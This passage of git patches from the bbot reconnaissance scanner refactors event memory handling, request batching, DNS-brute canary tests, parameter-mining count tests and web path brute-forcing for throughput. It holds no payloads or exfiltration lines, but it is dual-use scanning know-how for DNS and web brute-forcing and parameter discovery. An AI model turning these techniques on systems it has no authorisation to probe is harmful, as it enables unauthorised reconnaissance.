nested dir references a file in the same nested dir + subdir = tmp_path / "nested" / "presets" + subdir.mkdir(parents=True) + nested_targets = subdir / "my_targets.txt" + nested_targets.write_text("nested.evilcorp.com\n") + nested_preset = subdir / "nested_preset.yml" + nested_preset.write_text("target:\n - my_targets.txt\n") + preset5 = Preset.from_yaml_file(str(nested_preset)) + target_inputs5 = set(preset5._target_list) + assert "nested.evilcorp.com" in target_inputs5 + assert "my_targets.txt" not in target_inputs5 From c879fc6e80ca249e36341b93e86c6bc60def206e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 1 Apr 2026 14:15:35 -0400 Subject: [PATCH 437/912] Merge _release() into _minimize() for clarity --- bbot/core/event/base.py | 13 +++---------- bbot/modules/base.py | 8 ++++---- 2 files changed, 7 insertions(+), 14 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 0f86c5466a..73081cfcba 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -692,21 +692,13 @@ def get_parents(self, omit=False, include_self=False): e = parent return parents - def _release(self): + def _minimize(self): """ Called when a module is done processing this event. Decrements the consumer count. When no modules are left waiting to process this event, heavy payload data (e.g. HTTP response bodies) is stripped to free memory. - """ - self._module_consumers = max(0, self._module_consumers - 1) - if self._module_consumers <= 0: - self._minimize() - - def _minimize(self): - """ - Strip heavy payload data from the event to free memory. The event object stays alive (for parent-chain references, etc.) but large fields like HTTP response bodies and raw headers are removed. @@ -714,7 +706,8 @@ def _minimize(self): So basically, the parent becomes dead inside for the sake of the children. Just like real life. """ - if isinstance(self._data, dict): + self._module_consumers = max(0, self._module_consumers - 1) + if self._module_consumers <= 0 and isinstance(self._data, dict): self._data.pop("body", None) self._data.pop("raw_header", None) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index dbbef3422e..d7356bd809 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -496,7 +496,7 @@ async def _handle_batch(self): self.debug(f"{context} was cancelled") finally: for event in events: - event._release() + event._minimize() self.verbose(f"Finished handling batch of {len(events):,} events") if finish: context = f"{self.name}.finish()" @@ -666,12 +666,12 @@ async def _events_waiting(self, batch_size=None): if acceptable: if event.type == "FINISHED": finish = True - event._release() + event._minimize() else: events.append(event) self.scan.stats.event_consumed(event, self) else: - event._release() + event._minimize() if reason: self.debug(f"Not accepting {event} because {reason}") except asyncio.queues.QueueEmpty: @@ -791,7 +791,7 @@ async def _worker(self): else: self.debug(f"Not accepting {event} because {reason}") finally: - event._release() + event._minimize() except asyncio.CancelledError: # this trace was used for debugging leaked CancelledErrors from inside httpx # self.log.trace("Worker cancelled") From a0b630bea55e41133fd8340e5e21a507f1b98bec Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Wed, 1 Apr 2026 15:03:27 -0600 Subject: [PATCH 438/912] replace unit test with integration test that exercises actual brute.py code Move canary check test from test_dns.py into test_module_dnsbrute.py as a proper integration test. Mocks massdns to return results for every input subdomain (simulating a wildcard domain), then verifies that the canary detection aborts and no DNS_NAME events are emitted. --- bbot/test/test_step_1/test_dns.py | 77 ------------------- .../module_tests/test_module_dnsbrute.py | 41 ++++++++++ 2 files changed, 41 insertions(+), 77 deletions(-) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index de3abd9d61..9bb89c7070 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -867,80 +867,3 @@ async def test_dns_helpers(bbot_scanner): resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) assert resolvers == {"1.2.3.4", "4.3.2.1"} - - -def test_dnsbrute_canary_check(): - """Test that the DNS brute-force canary detection correctly identifies false positives.""" - - # Simulate what brute.py does with canaries - # The canary list is built from gen_random_subdomains and must be usable - # for membership checks after being converted to a list. - - def fake_gen(n=5): - for i in range(n): - yield f"canary{i}" - - # Bug 1: exhausted generator -- `sub in canaries` always returns False - canaries_gen = fake_gen(5) - canaries_list = list(canaries_gen) - # After list(), the generator is exhausted; `in` on it always returns False - assert "canary0" not in canaries_gen, "generator should be exhausted" - - # The fix: use a set built from the list for O(1) membership checks - canary_set = set(canaries_list) - assert "canary0" in canary_set - assert "canary4" in canary_set - assert "legit" not in canary_set - - # Bug 2: trailing dot from hostname.split(domain) - domain = "example.com" - hostname = "canary0.example.com" - sub_buggy = hostname.split(domain)[0] - assert sub_buggy == "canary0.", "split produces trailing dot" - assert sub_buggy not in canary_set, "trailing dot prevents match" - - # The fix: strip the trailing dot - sub_fixed = sub_buggy.rstrip(".") - assert sub_fixed == "canary0" - assert sub_fixed in canary_set, "after stripping dot, canary is found" - - # Bug 3: variable shadowing in wildcard_domains loop - original_domain = "example.com" - wildcard_domains = { - "example.com": {"A", "CNAME"}, - "sub.example.com": {"A"}, - } - # Simulating the buggy code: `for domain, rdtypes in wildcard_domains.items()` - # would overwrite the `domain` variable - domain = original_domain - for domain, rdtypes in wildcard_domains.items(): - pass - assert domain != original_domain or len(wildcard_domains) <= 1, "domain variable gets shadowed" - - # The fix: use a different loop variable - domain = original_domain - for _wd, rdtypes in wildcard_domains.items(): - pass - assert domain == original_domain, "original domain is preserved with renamed loop var" - - # End-to-end simulation: canary detection with the fix applied - canaries_list = [f"canary{i}" for i in range(10)] - canary_set = set(canaries_list) - wordlist = ["www", "mail", "api"] - subdomains = canaries_list[:5] + wordlist + canaries_list[5:] - - # Simulate massdns returning ALL subdomains (wildcard domain) - massdns_results = [f"{sub}.example.com" for sub in subdomains] - - results = [] - canaries_triggered = [] - for hostname in massdns_results: - sub = hostname.split("example.com")[0].rstrip(".") - if sub in canary_set: - canaries_triggered.append(sub) - else: - results.append(hostname) - - assert len(canaries_triggered) == 10, f"all 10 canaries should be caught, got {len(canaries_triggered)}" - assert len(results) == 3, f"only legitimate subdomains should remain, got {len(results)}" - assert all("canary" not in r for r in results), "no canary subdomains should leak into results" diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index 0cbee8440e..ad04a6dfe4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -95,3 +95,44 @@ def check(self, module_test, events): assert 1 == len( [e for e in events if e.data == "asdf.blacklanternsecurity.com" and str(e.module) == "dnsbrute"] ) + + +class TestDnsbruteCanaryCheck(ModuleTestBase): + """Test that the canary check correctly aborts brute-forcing on wildcard domains. + + Simulates a wildcard domain by making massdns return a result for every input + subdomain, including the canary subdomains. The canary check should detect + this and return no results. + """ + + module_name = "dnsbrute" + subdomain_wordlist = tempwordlist(["www", "mail"]) + config_overrides = {"modules": {"dnsbrute": {"wordlist": str(subdomain_wordlist)}}} + + async def setup_after_prep(self, module_test): + old_run_live = module_test.scan.helpers.run_live + + async def new_run_live(*command, check=False, text=True, **kwargs): + if "massdns" in command[:2]: + # simulate a wildcard domain: return a result for EVERY input subdomain + _input = [l async for l in kwargs["input"]] + for subdomain in _input: + hostname = subdomain.strip() + if hostname: + yield '{"name": "' + hostname + '.", "type": "A", "class": "IN", "status": "NOERROR", "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "' + hostname + '.", "data": "1.2.3.4"}]}, "resolver": "195.226.187.130:53", "proto": "UDP"}' + else: + async for _ in old_run_live(*command, check=False, text=True, **kwargs): + yield _ + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) + + await module_test.mock_dns( + { + "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, + } + ) + + def check(self, module_test, events): + # canary check should have aborted, so no DNS_NAME events from dnsbrute + dnsbrute_events = [e for e in events if e.type == "DNS_NAME" and str(e.module) == "dnsbrute"] + assert len(dnsbrute_events) == 0, f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}" From 751df73d7b321fe6d3798b58709746cefefdf757 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Wed, 1 Apr 2026 15:15:17 -0600 Subject: [PATCH 439/912] ruff format test_module_dnsbrute.py --- .../test_step_2/module_tests/test_module_dnsbrute.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index ad04a6dfe4..a8e1ba750d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -119,7 +119,13 @@ async def new_run_live(*command, check=False, text=True, **kwargs): for subdomain in _input: hostname = subdomain.strip() if hostname: - yield '{"name": "' + hostname + '.", "type": "A", "class": "IN", "status": "NOERROR", "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "' + hostname + '.", "data": "1.2.3.4"}]}, "resolver": "195.226.187.130:53", "proto": "UDP"}' + yield ( + '{"name": "' + + hostname + + '.", "type": "A", "class": "IN", "status": "NOERROR", "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "' + + hostname + + '.", "data": "1.2.3.4"}]}, "resolver": "195.226.187.130:53", "proto": "UDP"}' + ) else: async for _ in old_run_live(*command, check=False, text=True, **kwargs): yield _ @@ -135,4 +141,6 @@ async def new_run_live(*command, check=False, text=True, **kwargs): def check(self, module_test, events): # canary check should have aborted, so no DNS_NAME events from dnsbrute dnsbrute_events = [e for e in events if e.type == "DNS_NAME" and str(e.module) == "dnsbrute"] - assert len(dnsbrute_events) == 0, f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}" + assert len(dnsbrute_events) == 0, ( + f"Expected no results from dnsbrute (canary check should abort), but got {len(dnsbrute_events)}: {[e.data for e in dnsbrute_events]}" + ) From c6431abdd5d9eea5e5c028c6e211f9dc87d138ee Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 1 Apr 2026 21:50:40 -0400 Subject: [PATCH 440/912] Reduce event loop saturation for major scan throughput improvement --- bbot/core/helpers/diff.py | 20 +++++-- bbot/core/helpers/web/web.py | 82 ++++++++++++++++++---------- bbot/modules/badsecrets.py | 2 +- bbot/modules/base.py | 14 ++--- bbot/modules/iis_shortnames.py | 2 +- bbot/modules/internal/excavate.py | 2 +- bbot/modules/paramminer_cookies.py | 15 ++--- bbot/modules/paramminer_getparams.py | 13 ++--- bbot/modules/paramminer_headers.py | 34 +++++++----- bbot/modules/web_brute.py | 54 +++++++++--------- bbot/modules/web_brute_shortnames.py | 26 ++++----- 11 files changed, 147 insertions(+), 117 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index d4e9c5172b..29797f80b8 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -233,9 +233,21 @@ async def compare( if item in subject_response.text: reflection = True break + diff_reasons = await self.parent_helper.run_in_executor_cpu( + self._compare_sync, + subject_response, + subject, + ) + + if not diff_reasons: + return (True, [], reflection, subject_response) + else: + return (False, diff_reasons, reflection, subject_response) + + def _compare_sync(self, subject_response, subject): + """CPU-bound comparison work offloaded from the event loop.""" try: subject_json = xmltodict.parse(subject_response.text) - except ExpatError: log.debug(f"Can't HTML parse for {subject.split('?')[0]}. Switching to text parsing as a backup") subject_json = subject_response.text.split("\n") @@ -255,13 +267,9 @@ async def compare( if self.compare_body(self.baseline_json, subject_json) is False: log.debug("difference in HTML body, no match") - diff_reasons.append("body") - if not diff_reasons: - return (True, [], reflection, subject_response) - else: - return (False, diff_reasons, reflection, subject_response) + return diff_reasons async def canary_check(self, url, mode, rounds=3): """ diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 85951cddcb..3d83a85720 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -311,24 +311,35 @@ async def request_batch(self, urls, threads=10, **kwargs): >>> if response is not None and response.status_code == 200: >>> self.hugesuccess(response) """ - tasks = {} + queue = asyncio.Queue() urls = list(urls) - semaphore = asyncio.Semaphore(threads) - - async def _request(url): - async with semaphore: - return url, await self.request(url, **kwargs) + total = len(urls) + completed = 0 + + async def _worker(): + while True: + url = await queue.get() + try: + response = await self.request(url, **kwargs) + yield_queue.put_nowait((url, response)) + except (RuntimeError, OSError, ConnectionError): + yield_queue.put_nowait((url, None)) + finally: + queue.task_done() + + yield_queue = asyncio.Queue() + workers = [asyncio.create_task(_worker()) for _ in range(min(threads, total))] for url in urls: - task = asyncio.create_task(_request(url)) - tasks[task] = True + await queue.put(url) + + while completed < total: + url, response = await yield_queue.get() + completed += 1 + yield url, response - while tasks: - finished, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED) - for task in finished: - del tasks[task] - url, response = task.result() - yield url, response + for w in workers: + w.cancel() async def request_custom_batch(self, urls_and_kwargs, threads=10): """ @@ -352,27 +363,38 @@ async def request_custom_batch(self, urls_and_kwargs, threads=10): >>> if response is not None and response.status_code == 200: >>> self.hugesuccess(response) """ - tasks = {} - semaphore = asyncio.Semaphore(threads) - - for entry in urls_and_kwargs: + entries = list(urls_and_kwargs) + total = len(entries) + completed = 0 + work_queue = asyncio.Queue() + yield_queue = asyncio.Queue() + + async def _worker(): + while True: + url, entry_kwargs, tracker = await work_queue.get() + try: + response = await self.request(url, **entry_kwargs) + yield_queue.put_nowait((url, entry_kwargs, tracker, response)) + except (RuntimeError, OSError, ConnectionError): + yield_queue.put_nowait((url, entry_kwargs, tracker, None)) + finally: + work_queue.task_done() + + workers = [asyncio.create_task(_worker()) for _ in range(min(threads, total))] + + for entry in entries: url = entry[0] entry_kwargs = entry[1] if len(entry) > 1 and isinstance(entry[1], dict) else {} tracker = entry[2] if len(entry) > 2 else None + await work_queue.put((url, entry_kwargs, tracker)) - async def _request(_url=url, _kwargs=entry_kwargs, _tracker=tracker): - async with semaphore: - return _url, _kwargs, _tracker, await self.request(_url, **_kwargs) - - task = asyncio.create_task(_request()) - tasks[task] = True + while completed < total: + url, kw, tracker, response = await yield_queue.get() + completed += 1 + yield url, kw, tracker, response - while tasks: - finished, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED) - for task in finished: - del tasks[task] - url, kw, tracker, response = task.result() - yield url, kw, tracker, response + for w in workers: + w.cancel() async def download(self, url, **kwargs): """ diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index a5f8049f9e..ec673cce12 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -34,7 +34,7 @@ async def setup(self): @property def _module_threads(self): - return max(1, multiprocessing.cpu_count() - 1) + return min(4, max(1, multiprocessing.cpu_count() - 1)) async def handle_event(self, event): resp_body = event.data.get("body", None) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index c2839b25e5..961eb4b36d 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -761,8 +761,7 @@ async def _worker(self): except asyncio.queues.QueueEmpty: continue self.debug(f"Got {event} from {getattr(event, 'module', 'unknown_module')}") - async with self._task_counter.count(f"event_postcheck({event})"): - acceptable, reason = await self._event_postcheck(event) + acceptable, reason = await self._event_postcheck(event) if acceptable: if event.type == "FINISHED": context = f"{self.name}.finish()" @@ -1847,16 +1846,15 @@ async def _worker(self): continue acceptable = True - async with self._task_counter.count(f"event_precheck({event})"): - precheck_pass, reason = self._event_precheck(event) + precheck_pass, reason = self._event_precheck(event) if not precheck_pass: self.debug(f"Not intercepting {event} because precheck failed ({reason})") acceptable = False - async with self._task_counter.count(f"event_postcheck({event})"): + else: postcheck_pass, reason = await self._event_postcheck(event) - if not postcheck_pass: - self.debug(f"Not intercepting {event} because postcheck failed ({reason})") - acceptable = False + if not postcheck_pass: + self.debug(f"Not intercepting {event} because postcheck failed ({reason})") + acceptable = False # whether to pass the event on to the rest of the scan # defaults to true, unless handle_event returns False diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 5dabd7cb2f..3110f820a5 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -30,7 +30,7 @@ class iis_shortnames(BaseModule): } in_scope_only = True - _module_threads = 8 + _module_threads = 4 async def detect(self, target): technique = None diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 7f8c559471..9db511c90b 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -348,7 +348,7 @@ class excavateTestRule(ExcavateRule): scope_distance_modifier = None accept_dupes = False - _module_threads = 8 + _module_threads = 6 yara_rule_name_regex = re.compile(r"rule\s(\w+)\s{") yara_rule_regex = re.compile(r"(?s)((?:rule\s+\w+\s*{[^{}]*(?:{[^{}]*}[^{}]*)*[^{}]*(?:/\S*?}[^/]*?/)*)*})") diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index 871238d803..3bd7f0705c 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -27,7 +27,7 @@ class paramminer_cookies(paramminer_headers): options_desc = {"wordlist": "Define the wordlist to be used to derive cookies"} scanned_hosts = [] boring_words = set() - _module_threads = 12 + _module_threads = 4 in_scope_only = True compare_mode = "cookie" default_wordlist = "paramminer_parameters.txt" @@ -36,11 +36,8 @@ async def check_batch(self, compare_helper, url, cookie_list): cookies = {p: self.rand_string(14) for p in cookie_list} return await compare_helper.compare(url, cookies=cookies, check_reflection=(len(cookie_list) == 1)) - def gen_count_args(self, url): - cookie_count = 40 - while 1: - if cookie_count < 0: - break - fake_cookies = {self.rand_string(14): self.rand_string(14) for _ in range(0, cookie_count)} - yield cookie_count, (url,), {"cookies": fake_cookies} - cookie_count -= 5 + max_count = 40 + + def build_count_test_request(self, url, count): + fake_cookies = {self.rand_string(14): self.rand_string(14) for _ in range(count)} + return (url,), {"cookies": fake_cookies} diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index 27a99f8ab4..27df773bda 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -36,11 +36,8 @@ async def check_batch(self, compare_helper, url, getparam_list): self.helpers.add_get_params(url, test_getparams).geturl(), check_reflection=(len(getparam_list) == 1) ) - def gen_count_args(self, url): - getparam_count = 40 - while 1: - if getparam_count < 0: - break - fake_getparams = {self.rand_string(14): self.rand_string(14) for _ in range(0, getparam_count)} - yield getparam_count, (self.helpers.add_get_params(url, fake_getparams).geturl(),), {} - getparam_count -= 5 + max_count = 40 + + def build_count_test_request(self, url, count): + fake_getparams = {self.rand_string(14): self.rand_string(14) for _ in range(count)} + return (self.helpers.add_get_params(url, fake_getparams).geturl(),), {} diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index ae573abadf..fba50251a2 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -75,7 +75,7 @@ class paramminer_headers(BaseModule): "zx-request-id", "zx-timer", } - _module_threads = 12 + _module_threads = 4 in_scope_only = True compare_mode = "header" default_wordlist = "paramminer_headers.txt" @@ -199,27 +199,35 @@ async def handle_event(self, event): self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.url}]") await self.process_results(event, results) + max_count = 95 + async def count_test(self, url): baseline = await self.helpers.request(url) if baseline is None: return if str(baseline.status_code)[0] in {"4", "5"}: return - for count, args, kwargs in self.gen_count_args(url): + + # Binary search for the maximum count the server accepts + lo, hi = 0, self.max_count + result = None + while lo <= hi: + mid = (lo + hi) // 2 + if mid == 0: + break + args, kwargs = self.build_count_test_request(url, mid) r = await self.helpers.request(*args, **kwargs) if r is not None and str(r.status_code)[0] not in {"4", "5"}: - return count + result = mid + lo = mid + 1 + else: + hi = mid - 1 + return result - def gen_count_args(self, url): - header_count = 95 - while 1: - if header_count < 0: - break - fake_headers = {} - for i in range(0, header_count): - fake_headers[self.rand_string(14)] = self.rand_string(14) - yield header_count, (url,), {"headers": fake_headers} - header_count -= 5 + def build_count_test_request(self, url, count): + """Build a test request with `count` fake parameters. Returns (args, kwargs) for helpers.request().""" + fake_headers = {self.rand_string(14): self.rand_string(14) for _ in range(count)} + return (url,), {"headers": fake_headers} async def binary_search(self, compare_helper, url, group, reasons=None, reflection=False): if reasons is None: diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index e600d2eefc..c8a58e3de3 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -351,35 +351,35 @@ async def execute_fuzz( self.debug("Found canary in results, all hits are likely false positives — aborting") return - # Mid-scan validation for each hit - for hit in hits: - if not baseline and ext_filter: - canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(4)) - canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" - canary_configs = [ - blasthttp.BatchConfig( - canary_url, - headers=headers, - timeout=self.scan.http_timeout, - retries=0, - verify_certs=False, - follow_redirects=False, - proxy=proxy, - ) - ] - canary_batch = await self.helpers.run_in_executor_io( - self.blast_client.request_batch, canary_configs, 1, rate_limit=self.rate + # Mid-scan validation: one canary check per extension, not per hit + if hits and not baseline and ext_filter: + canary_word = "".join(random.choice(string.ascii_lowercase) for _ in range(4)) + canary_url = f"{url}{prefix}{canary_word}{suffix}{ext}" + canary_configs = [ + blasthttp.BatchConfig( + canary_url, + headers=headers, + timeout=self.scan.http_timeout, + retries=0, + verify_certs=False, + follow_redirects=False, + proxy=proxy, ) - if canary_batch and canary_batch[0].success: - canary_metrics = self._batch_response_metrics(canary_batch[0].response) - if not self._is_baseline_match(canary_metrics, ext_filter): - self.verbose( - f"Would have reported [{hit['url']}], but mid-scan baseline check failed. " - "This could be due to a WAF turning on mid-scan." - ) - self.verbose(f"Aborting the current run against [{url}]") - return + ] + canary_batch = await self.helpers.run_in_executor_io( + self.blast_client.request_batch, canary_configs, 1, rate_limit=self.rate + ) + if canary_batch and canary_batch[0].success: + canary_metrics = self._batch_response_metrics(canary_batch[0].response) + if not self._is_baseline_match(canary_metrics, ext_filter): + self.verbose( + f"Would have reported {len(hits)} hit(s), but mid-scan baseline check failed. " + "This could be due to a WAF turning on mid-scan." + ) + self.verbose(f"Aborting the current run against [{url}]") + return + for hit in hits: yield hit def generate_templist(self, prefix=None): diff --git a/bbot/modules/web_brute_shortnames.py b/bbot/modules/web_brute_shortnames.py index 211ece67f8..043a80d2b0 100644 --- a/bbot/modules/web_brute_shortnames.py +++ b/bbot/modules/web_brute_shortnames.py @@ -45,16 +45,16 @@ class web_brute_shortnames(web_brute): supplementary_words = ["html", "ajax", "xml", "json", "api"] - def generate_templist(self, hint, shortname_type): - words = set() + async def generate_templist(self, hint, shortname_type): + words = await self.helpers.run_in_executor_cpu(self._generate_templist_sync, hint, shortname_type) + return words, len(words) + def _generate_templist_sync(self, hint, shortname_type): + words = set() for prediction, score in self.predict(hint, self.max_predictions, model=shortname_type): - prediction_lower = prediction.lower() - self.debug(f"Got prediction: [{prediction_lower}] from prefix [{hint}] with score [{score}]") - words.add(prediction_lower) - + words.add(prediction.lower()) words.add(self.canary.lower()) - return list(words), len(words) + return list(words) def predict(self, prefix, n=25, model="endpoint"): predictor_name = f"{model}_predictor" @@ -224,7 +224,7 @@ async def handle_event(self, event): used_extensions = self.build_extension_list(event) if len(filename_hint) == 6: - words, words_len = self.generate_templist(filename_hint, shortname_type) + words, words_len = await self.generate_templist(filename_hint, shortname_type) self.verbose(f"generated word list of size [{str(words_len)}] for filename hint: [{filename_hint}]") else: words = [filename_hint] @@ -259,7 +259,7 @@ async def handle_event(self, event): if delimiter_r: delimiter, prefix, partial_hint = delimiter_r self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]") - words, words_len = self.generate_templist(partial_hint, "directory") + words, words_len = await self.generate_templist(partial_hint, "directory") fuzz_prefix = f"{prefix}{delimiter}" async for r in self.execute_fuzz(words, root_url, prefix=fuzz_prefix, exts=["/"]): await self.emit_event( @@ -276,7 +276,7 @@ async def handle_event(self, event): if delimiter_r: delimiter, prefix, partial_hint = delimiter_r self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]") - words, words_len = self.generate_templist(partial_hint, "endpoint") + words, words_len = await self.generate_templist(partial_hint, "endpoint") fuzz_prefix = f"{prefix}{delimiter}" async for r in self.execute_fuzz(words, root_url, prefix=fuzz_prefix, suffix=f".{ext}"): await self.emit_event( @@ -291,7 +291,7 @@ async def handle_event(self, event): subword, suffix = self.find_subword(filename_hint) if subword: if "shortname-directory" in event.tags: - words, words_len = self.generate_templist(suffix, "directory") + words, words_len = await self.generate_templist(suffix, "directory") async for r in self.execute_fuzz(words, root_url, prefix=subword, exts=["/"]): await self.emit_event( r["url"], @@ -302,7 +302,7 @@ async def handle_event(self, event): ) elif "shortname-endpoint" in event.tags: for ext in used_extensions: - words, words_len = self.generate_templist(suffix, "endpoint") + words, words_len = await self.generate_templist(suffix, "endpoint") async for r in self.execute_fuzz(words, root_url, prefix=subword, suffix=f".{ext}"): await self.emit_event( r["url"], @@ -338,7 +338,7 @@ async def finish(self): # safeguard to prevent loading the entire wordlist if len(partial_hint) > 0: - words, words_len = self.generate_templist(partial_hint, shortname_type) + words, words_len = await self.generate_templist(partial_hint, shortname_type) if "shortname-directory" in self.shortname_to_event[hint].tags: self.verbose( From db8d16c24d9156155beabd7a690b2baf687cbaa9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 2 Apr 2026 15:43:43 -0400 Subject: [PATCH 441/912] Move _minimize() stripping logic to HTTP_RESPONSE override --- bbot/core/event/base.py | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 73081cfcba..64c30d6abe 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -697,19 +697,9 @@ def _minimize(self): Called when a module is done processing this event. Decrements the consumer count. When no modules are left waiting to - process this event, heavy payload data (e.g. HTTP response bodies) - is stripped to free memory. - - The event object stays alive (for parent-chain references, etc.) - but large fields like HTTP response bodies and raw headers are removed. - - So basically, the parent becomes dead inside for the sake of the children. - Just like real life. + process this event, heavy payload data is stripped to free memory. """ self._module_consumers = max(0, self._module_consumers - 1) - if self._module_consumers <= 0 and isinstance(self._data, dict): - self._data.pop("body", None) - self._data.pop("raw_header", None) def clone(self): # Create a shallow copy of the event first @@ -1594,6 +1584,12 @@ def _words(self): def _pretty_string(self): return f"{self.data['hash']['header_mmh3']}:{self.data['hash']['body_mmh3']}" + def _minimize(self): + super()._minimize() + if self._module_consumers <= 0: + self._data.pop("body", None) + self._data.pop("raw_header", None) + @property def raw_response(self): """ From 622088bce28b89ed4e526742f941f4c5c5502d8a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 2 Apr 2026 21:57:31 -0400 Subject: [PATCH 442/912] use blasthttp 0.2.0 native async, shrink IO thread pool --- bbot/core/helpers/helper.py | 6 ++---- bbot/core/helpers/web/web.py | 4 ++-- bbot/modules/http.py | 4 ++-- bbot/modules/web_brute.py | 12 +++--------- bbot/scanner/scanner.py | 6 ++---- pyproject.toml | 2 +- 6 files changed, 12 insertions(+), 22 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index d8f92129cb..0d2a1dbb6b 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -208,10 +208,8 @@ def loop(self): """ if self._loop is None: self._loop = get_event_loop() - # increase default thread pool size to prevent executor starvation - # during heavy scans where YARA, regex, DNS, and HTTP all compete for threads - thread_pool_size = max(32, (os.cpu_count() or 1) * 4) - self._io_executor = ThreadPoolExecutor(max_workers=thread_pool_size) + # only current caller is wafw00f (sync requests library) + self._io_executor = ThreadPoolExecutor(max_workers=max(8, (os.cpu_count() or 1) + 4)) self._cpu_executor = ThreadPoolExecutor(max_workers=max(8, os.cpu_count() or 4)) self._loop.set_default_executor(self._io_executor) return self._loop diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 85951cddcb..0527f1001a 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -266,8 +266,8 @@ async def request(self, *args, **kwargs): if self.http_debug: log.trace(f"blasthttp request: {method} {url}") - # Run in executor — blasthttp blocks the thread (tokio runtime) - blast_response = await self.parent_helper.run_in_executor_io(self.client.request, url, **blast_kwargs) + # blasthttp returns a native coroutine via pyo3-async-runtimes + blast_response = await self.client.request(url, **blast_kwargs) response = BlasthttpResponse(blast_response, request_url=url, method=method) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 9a42d50e43..5edf0c77d7 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -212,8 +212,8 @@ async def handle_batch(self, *events): ) configs.append(config) - # Run batch in executor to avoid blocking the event loop - results = await self.helpers.run_in_executor_io(self.client.request_batch, configs, self.threads) + # blasthttp batch returns a native coroutine via pyo3-async-runtimes + results = await self.client.request_batch(configs, self.threads) # Index results by URL for the dedup check results_by_url = {r.url: r for r in results} diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index e600d2eefc..e320f6ba74 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -180,9 +180,7 @@ async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): ) canary_results = [] - results = await self.helpers.run_in_executor_io( - self.blast_client.request_batch, canary_configs, 4, rate_limit=self.rate - ) + results = await self.blast_client.request_batch(canary_configs, 4, rate_limit=self.rate) for result in results: if result.success: canary_results.append(self._batch_response_metrics(result.response)) @@ -306,9 +304,7 @@ async def execute_fuzz( self.debug(f"Fuzzing 